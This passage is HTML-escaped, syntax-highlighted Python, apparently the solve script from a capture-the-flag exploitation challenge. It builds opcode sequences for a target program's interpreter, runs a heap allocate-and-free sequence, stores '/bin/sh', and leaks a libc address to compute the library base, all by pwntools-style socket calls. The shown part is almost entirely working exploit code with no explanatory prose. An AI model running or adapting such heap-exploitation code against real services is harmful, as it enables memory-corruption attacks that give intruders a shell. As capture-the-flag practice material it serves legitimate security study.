&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;start&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;h&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;w&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;assert &lt;&#x2F;span&gt;&lt;span&gt;w&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span&gt;w&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x11
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;assert &lt;&#x2F;span&gt;&lt;span&gt;h&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span&gt;h&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x11
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(choice_array.index(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(h)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(w)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;addcomment&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;y&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;content&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;assert &lt;&#x2F;span&gt;&lt;span&gt;size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x601
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(choice_array.index(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(y)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(x)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xff&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;isinstance&lt;&#x2F;span&gt;&lt;span&gt;(content,(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;)):
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.todo.append(sendAndWait(content))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.todo.append(content)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;freecomment&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;y&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(choice_array.index(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(y)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(x)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;setflag&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;y&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;flag&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;assert &lt;&#x2F;span&gt;&lt;span&gt;flag&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span&gt;flag&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(choice_array.index(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(y)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(x)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(flag)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;clearflag&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;y&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(choice_array.index(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(y)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(x)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;up&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(choice_array.index(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;down&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(choice_array.index(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;left&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(choice_array.index(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;right&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(choice_array.index(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;print_comment&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;fun&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;None&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(choice_array.index(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;fun&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;None&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.todo.append(fun)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;finish&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(choice_array.index(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;nop&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops.append(choice_array.index(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;build&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.ops)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        p.sendafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.build())
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.todo:
&lt;&#x2F;span&gt;&lt;span&gt;            i(p)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;vm&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;VM()
&lt;&#x2F;span&gt;&lt;span&gt;vm.start(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    vm.right()
&lt;&#x2F;span&gt;&lt;span&gt;vm.down()
&lt;&#x2F;span&gt;&lt;span&gt;vm.down()
&lt;&#x2F;span&gt;&lt;span&gt;vm.down()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;vm.addcomment(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4f0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;richar&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;vm.addcomment(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;vm.freecomment(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;vm.addcomment(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;getLibcBase&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;u64((&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;pos&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;)).ljust(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x154f00
&lt;&#x2F;span&gt;&lt;span&gt;    libc.address&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;addr
&lt;&#x2F;span&gt;&lt;span&gt;    log.info(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;LIBC: &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;(addr))
&lt;&#x2F;span&gt;&lt;span&gt;vm.print_comment(getLibcBase)
&lt;&#x2F;span&gt;&lt;span&gt;
